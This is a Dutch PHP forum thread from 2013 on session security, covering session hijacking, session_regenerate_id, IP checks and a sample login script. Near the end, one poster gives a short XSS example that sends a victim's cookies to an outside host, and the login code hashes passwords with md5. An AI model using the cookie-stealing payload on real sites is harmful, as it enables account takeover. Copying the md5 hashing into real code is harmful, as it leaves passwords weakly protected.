Session veilig?
Is dit veilig, kan iemand zonder in te loggen toch een $_SESSION['username'] hebben?
Dubbelpost verwijderd, verder in dit topic.[/modedit]
Gewijzigd op 22/01/2013 23:51:10 door Bas IJzelendoorn
Ik kan niet op jouw server (die van je website) $_SERVER aanmaken.
Maar je moet wel goed beveiligen WAAR je ['username'] aanmaakt. Dus het inloggen moet wel kloppen.
Ok dan zit het denk ik wel goed, bedankt!
Er is zoiets als session hijacking, ik had verwacht dat je dit wel zou weten eerlijk gezegt. Het is dus mogelijk dat hackers meeliften op een sessie van een gebruiker, en zo verder kunnen gaan.
Waarom zou je tevens een $_SERVER moeten aanmaken? Terwijl het hier om $_SESSION gaat?
@Francoi,
Niets is 100% veilig, er zijn altijd manieren. Zorg ervoor dat je geen gevoelige informatie opslaat in een sessie, deze kunnen wel degelijk uitgelezen worden. Een session_id wordt opgeslagen in een cookie op de pc van de gebruiker, dus deze id bemachtigen is niet al te moeilijk.
session_regenerate_id(true);
Dan is session hijacking al een stuk lastiger, al dan niet meer mogelijk ;)
Ikzelf maak gebruik van mn database, waar mijn sessies opgeslagen worden
(unieke ID met username en ip adress van de gebruiker)
Vervolgens wordt t ip gecontrolleerd en de sessie.
Is dit te hijacken ?
En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?
Gewijzigd op 23/01/2013 09:28:55 door Francoi gckx
Francoi gckx op 23/01/2013 09:28:33:
Wat doet session_regenerate_id(true) precies? (heeft u een voorbeeld?)
En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?
En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?
Kijk zelf even op php.net:
http://nl.php.net/manual/en/function.session-regenerate-id.php
Ik ben een beginner en die link is niet echt voor beginners
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.
Dus niet alleen op je inlog pagina, maar ook op de pagina's waar de gebruiker voor ingelogd moet zijn.
Tevens is de link van SanThe vrij duidelijk met session_regenerate_id(true); maakt hij een nieuwe sessie id aan.
@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.
@Dennis,
Wordt dat per sessie gedaan? Of eenmalig?
Als het eenmalig is kan de gebruiker dus nooit via een andere omgeving inloggen, aangezien hij daar een ander ip krijgt.
Wordt het per sessie gedaan maakt het stukken lastiger, echter is het vrij makkelijk om je ip te wijzigen naar wat je wil voor de buitenwereld. Dan moeten ze uiteraard wel het ip hebben, en je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.
Dus de controle op ip is ook niet waterdicht.
Gewijzigd op 23/01/2013 10:42:32 door Chris PHP
Chris NVT op 23/01/2013 10:39:18:
@Francoi,
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.
Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id
Maar bijvoorbeeld in login.php
1.Het begint met session_start() bovenaan (moet ik session_regenerarate_id onder session_start gelijk gebruiken?)
2. Dan komen de controlles als er niks ingevuld is of onjuiste email
3. Als 2 goed is dan:
5. Waar moet ik hier session_regenerate_id gebruiken, was mijn vraag?
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.
Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id
Maar bijvoorbeeld in login.php
1.Het begint met session_start() bovenaan (moet ik session_regenerarate_id onder session_start gelijk gebruiken?)
2. Dan komen de controlles als er niks ingevuld is of onjuiste email
3. Als 2 goed is dan:
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// create query
if ($stmt = $mysqli->prepare("SELECT members.id, permissions.name FROM members, permissions WHERE username=? AND password = ? AND members.type = permissions.id"))
{
$stmt->bind_param("ss", $input['user'], md5($input['pass'] . $config['salt']));
$stmt->execute();
$stmt->bind_result($id, $type);
$stmt->fetch();
// check if there is a match in the database for the user/password combination
if ($id)
{
// close statement
$stmt->close();
// set session variable
$_SESSION['id'] = $id;
$_SESSION['type'] = $type;
$_SESSION['username'] = $input['user'];
$_SESSION['last_active'] = time() - 60 * 60 * 24;
// redirect to member's page
header("Location: members.php");
}
?>
// create query
if ($stmt = $mysqli->prepare("SELECT members.id, permissions.name FROM members, permissions WHERE username=? AND password = ? AND members.type = permissions.id"))
{
$stmt->bind_param("ss", $input['user'], md5($input['pass'] . $config['salt']));
$stmt->execute();
$stmt->bind_result($id, $type);
$stmt->fetch();
// check if there is a match in the database for the user/password combination
if ($id)
{
// close statement
$stmt->close();
// set session variable
$_SESSION['id'] = $id;
$_SESSION['type'] = $type;
$_SESSION['username'] = $input['user'];
$_SESSION['last_active'] = time() - 60 * 60 * 24;
// redirect to member's page
header("Location: members.php");
}
?>
5. Waar moet ik hier session_regenerate_id gebruiken, was mijn vraag?
Chris NVT op 23/01/2013 10:39:18:
je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.
Dus de controle op ip is ook niet waterdicht.
Dus de controle op ip is ook niet waterdicht.
Mobieltjes hebben (vaak) bij elk request een ander IP.
IP-checken is dus eigenlijk zinloos.
Gewijzigd op 23/01/2013 14:58:48 door - SanThe -
Francoi gckx op 23/01/2013 10:45:30:
Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id
Altijd na session_start();
Gewijzigd op 23/01/2013 10:49:55 door Chris PHP
maar
Code (php)
1
2
3
4
5
6
7
2
3
4
5
6
7
<?php
// set session variable
$_SESSION['id'] = $id;
$_SESSION['type'] = $type;
$_SESSION['username'] = $input['user'];
$_SESSION['last_active'] = time() - 60 * 60 * 24;
?>
// set session variable
$_SESSION['id'] = $id;
$_SESSION['type'] = $type;
$_SESSION['username'] = $input['user'];
$_SESSION['last_active'] = time() - 60 * 60 * 24;
?>
Zie mijn vorige post
Je kunt het gewoon onder session_start(); zetten op je inlogpagina.
Code (php)
1
2
3
4
2
3
4
<?php session_start();
session_regenerate_id(true) (dat worden de eerste twee regels)
Ok bedankt Chris
session_regenerate_id(true) (dat worden de eerste twee regels)
Ok bedankt Chris
Gewijzigd op 23/01/2013 10:52:08 door Francoi gckx
Chris NVT op 23/01/2013 10:39:18:
@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.
Hijacking werkt toch als volgt:
Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A. Gebruiker A gaat inloggen op de site en doet wat hij verder moet doen. Gebruiker B heeft zijn sessie gekopieerd en is daarmee ook automatisch ingelogd.
Als bovenstaande klopt, los je het toch op door de sessie ID te veranderen net voor gebruiker A is ingelogd? Want als gebruiker A ingelogd is, dan heeft gebruiker B een ongeldige sessie ID in zijn cookie staan waar hij niks mee kan.
Mocht mijn verhaal niet kloppen licht het dan eventjes toe, ben ik wel benieuwd wat leer ik er ook weer wat van :)
Aan de andere kant; als je sessie ID gestolen wordt nadat je ingelogd bent, ben je ook de lul :P is het daarom goed om elke pagina de sessie te vernieuwen?
Gewijzigd op 23/01/2013 14:27:25 door kees Schepers
Kees Schepers op 23/01/2013 14:25:35:
Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A.
Hoe zie je dit precies voor je? Hoe kan gebruiker B de sessie van gebruiker A stelen?
Volgens mij wordt sessie kapen met bruteforce aanvallen gedaan. Er wordt door de hacker telkens een cookie gemaakt met een andere sessie-id, totdat hij een keer "beet" heeft. Het maakt dan niet uit of je wel of niet ingelogd bent.
Wat je zou kunnen doen is een extra cookie gebruiken met een of andere hash daarin. Bezoeker A komt op de site en er wordt een sessie gestart. Tegelijkertijd wordt er een cookie op zijn computer gezet met een hash. Hacker B gaat bruteforcen en vindt op een gegevens moment de sessie-id van bezoeker A. Aangezien hij niet beschikt over de extra cookie met daarin de hash, kan hij de sessie niet overnemen. Het systeem ziet nu dus dat de sessie gehackt is, maar dat de hash niet klopt. Op dat moment moet de complete sessie worden vernietigd.
Gewijzigd op 23/01/2013 14:45:01 door Ozzie PHP
Stel dat prive berichten op phphulp niet goed tegen XSS waren beschermt stuurde ik je een prive bericht met:
Code (php)
1
2
3
2
3
<script>
window.location = 'keesje.nl/index.php?cookies=' + document.cookies;
</script>
window.location = 'keesje.nl/index.php?cookies=' + document.cookies;
</script>
En mijn index.php stuurt jouw met een PHP header redirect weer terug naar phphulp. Gevolg is dat je denkt dat er een fout in de site zit en je bijna niet merkt dat je omgeleid wordt.
ah oke... sneaky ;-)